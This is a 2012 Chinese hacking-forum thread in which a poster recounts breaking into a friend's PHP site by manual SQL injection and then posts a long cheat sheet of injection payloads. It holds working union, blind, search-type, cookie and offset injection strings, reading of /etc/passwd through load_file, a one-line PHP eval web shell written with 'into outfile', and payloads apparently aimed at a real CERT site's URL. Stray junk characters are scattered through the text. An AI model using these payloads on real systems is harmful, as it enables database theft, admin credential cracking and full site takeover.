找回密码
 立即注册
查看: 3509|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
3 P+ E# @+ y/ E3 `: [让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
. a6 J% e0 S* Q% Z5 p我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。, q. x: E4 Y+ T5 h7 {0 l/ O$ f+ X
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)" u  o7 a' F  ~1 q# H/ E
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,); o- h$ U+ `1 u# L/ q- g4 `
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
/ z- |  y) Z6 `, zWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
3 g% l$ T6 X& m- B6 ^3 }5 I/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
. C# v& I3 E3 V3 A- v2 I/ u' _% D9 e                         1 `8 ]. w# [  W. H. t
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,+ [  T% q: d7 ?' I/ W
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意! U4 k- F4 F) z2 m4 b9 A
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
; M/ m* L* i  h$ @5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。" d$ R8 G8 E6 W! [0 H
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
( n& }5 D6 r. h. \+ Z0 }- j2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。# p- T% b( c) o% K; \
我就用的是第二个思路,% @3 }: i' K6 R9 [. g9 C
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
0 I% j" a. X9 _. e% R" p9 T0 X6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,+ a0 s# T' P4 O
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
4 q5 C, `% p& q7 K注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。0 r# \3 l: s9 `- }$ Y' s
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????8 d. n% ]7 B5 G/ E" v  C; c' w
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd....." `7 P' L  n, |) ^
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
+ P! D" M& g. t然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
6 I/ K) Q( N' C9 a# h调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限....../ L9 {$ K9 j( z, E
下面是一些很普遍注入方式资料:
3 z1 u" v6 Y+ O$ ]3 V! z注意:对于普通的get注入,如果是字符型,前加' 后加 and ''=': r7 |2 v  F$ D% ?- U
拆半法
& P% B8 J- d, g1 S) t3 I3 x######################################1 w6 q4 j8 @/ P& Y. A4 i8 O3 L/ |+ @
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
' ]. U; h% z( U; H8 M" b7 Hand exists (select * from admin)
, B8 m. ]2 I1 Y& Y4 b" dand exists(select id from admin)$ e0 q4 S" b: a
and exists(select id from admin where id=1)8 @2 s" e  U7 e* W4 U
and exists(select id from admin where id>1)
/ Q+ e& m/ h7 U2 r然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
& k4 F- x  \7 e; d$ b# i$ i% @and exists (select username from admin)6 P1 I/ G: D# j# y
and exists (select password from admin)
' L" M6 i" y1 ^  ^# o- oand exists (select id from admin where len(username)<10 and id=1)( \5 V1 H6 D8 ^9 L4 d+ X
and exists (select id from admin where len(username)>5 and id=1)4 L% F$ D1 \' q6 K7 P" v
and exists (select id from admin where len(username)=6 and id=1)& o* c0 p& C; ?, C& c6 {: `+ y
and exists (select id from admin where len(password)<10 and id=1). q+ ], P' A! s1 I8 e; W& S6 Q! }9 K
and exists (select id from admin where len(password)>5 and id=1)+ w0 p* J) l. D& K
and exists (select id from admin where len(password)=7 and id=1)
! g6 P: X& l, @/ T* @" q4 hand (select top 1 asc(mid(username,1,1)) from admin)=97- [- r( m1 e( q
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。* j6 U" s$ g6 ?4 g1 A" r
猜第二位把username,1,1改成username,2,1就可以了。
/ _" I* a2 ^' @% c猜密码把username改成password就OK了( h. G. o0 v. R8 J: {
##################################################4 w' I) a! W1 z* @. @2 ?
搜索型注入& |& k" l1 s6 ?1 g) G5 H
##################################
: T. M- x! d5 W0 o- `%' and 1=1 and '%'='6 t6 D/ }4 Q3 W7 S5 ?
%' and exists (select * from admin) and '%'='
3 k* }& ^( ^4 k( t' q7 j; t% J%' and exists(select id from admin where id=1) and '%'='; e4 W3 ^1 G4 c: d/ |& ~0 }
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='& u3 R, T- l$ L2 t. ]3 s5 K
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
- H6 U9 R8 J* G" l' y, c* G( p%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='% G- \, C: t4 Y: o
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='1 b$ D- ~# f2 G* o3 n  Q
对于MSSQL数据库,后面可以吧 and '%'='换成--
1 s! f+ ^! c% y! {还有一点搜索型注入也可以使用union语句。" @1 K# P* w6 y4 u8 r! W- d
########################################################! m* f$ W; ~, ?
联合查询。5 c, `& r5 Y8 S1 i# {8 }/ \2 J
#####################################
$ U1 V, d. T3 b- qorder by 10
0 ~: F: f1 u6 w# D. Zand 1=2 union select 1,2,3,4,5,6,7,8,9,10
, \% z4 Z0 t% M. w) mand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
+ y  ^. p! M& cand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1' C: b& |1 A6 i. @! h" H
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
6 g. t9 H8 m. @* g. r1 S###################################* k- O2 C; P# f
cookie注入& k/ P8 x1 t8 X6 g3 q
###############################7 ^' b1 n+ d0 M; Q
http://www.******.com/shownews.asp?id=1278 Q" A6 [  G2 T% h7 H, S
http://www.******.com/shownews.asp
0 n7 I0 r. k4 H% U& Yalert(="id="+escape("127"));
4 |  \0 b& V1 w9 Z6 Kalert(="id="+escape("127 and 1=1"));
) A2 a! o. N. [1 Halert(="id="+escape("127 order by 10"));
# X, s2 P& D1 w! `+ j1 @. P/ calert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
9 m: N* W( f6 p% N" G$ nalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));. L. v: E# M+ o8 m6 J5 P: V1 o3 F* K: |; y
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。; Z" x: _' @9 E+ n) f! ^" u2 A
###################################
7 d9 @$ Y, Q8 K偏移注入& j1 d6 |$ C' C1 |4 h
###########################################################: {9 U* ]. v! y, V" {/ R9 h5 i8 J6 e
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
2 F, f/ x* O8 ^) I. W2 {$ Z1 P! lunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin% v- Z1 D1 W1 f9 A- Q' o; L
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
% g) @( }3 U& Q9 z* Lunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)8 Q0 }# H$ z- Q8 U  N  G
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id). E2 @4 q6 r' g5 d
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
/ H3 O! Z5 Y/ f7 {union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on8 p# D# A& V" s* S
a.id=d.id)' c& c1 @% `2 J& v- R* q
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
; D2 I# h5 o; [1 X! \# }% Qand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
2 G# }$ L  j& n# K7 U% a4 \  
0 u0 f; ^# @, t5 Y  S8 G, q7 a2 X: G- W============================================================================================================
: w4 f& j8 P: j, k0 O1.判断版本0 E+ h) @& H& x8 |% B+ g* k) w
and ord(mid(version(),1,1))>51) f7 F, S8 c7 N/ E& Z0 L) Z/ @
返回正常,说明大于4.0版本,支持ounion查询
$ U* c9 ~* Q3 M4 h8 S# z2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
+ d3 u* C, b7 ^! N# nand 2=4 union select 1,2,3,4,5,6,7,8,9--
) `- B- O% _$ d* m' k6 |4 l3.查看数据库版本及当前用户,/ M( ~6 ~$ ^) {$ H, w! ~- n
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--; X1 M3 q  N; Z0 B: m: E
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
, _! s  z7 [* H% y+ W# I2 Z3 U4.判断有没有写权限
: E2 v( K- w: Z. z$ e1 Mand (select count(*) from MySQL.user)>0-- . W7 v6 K8 _  B
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1/ {; E/ ^+ ?6 t+ U
用不了这个命令,就学习土耳其黑客手法,如下% h0 {/ E- [9 P  x7 F9 C$ `
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
6 H( Z! J7 K; V3 g  {2 D  s. E6.爆表,爆库
" ~: V! a& f; p% {/ @8 B+ J7 _and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
% s2 V& w" b5 ]: p7.爆列名,爆表
5 t( R/ ^- {/ B) P6 l( l+ p) I: fand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
) r5 d: L6 S; c$ G8 ~8.查询字段数,直接用limit N,1去查询,直接N到报错为止。: M6 n/ [- n+ p! `/ C
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
+ f" d. n  `1 B4 S9 H; |9.爆字段内容  d, w# U6 b# J5 P
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--  x- Q5 V- b1 H# G' t$ R* |( o" v
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表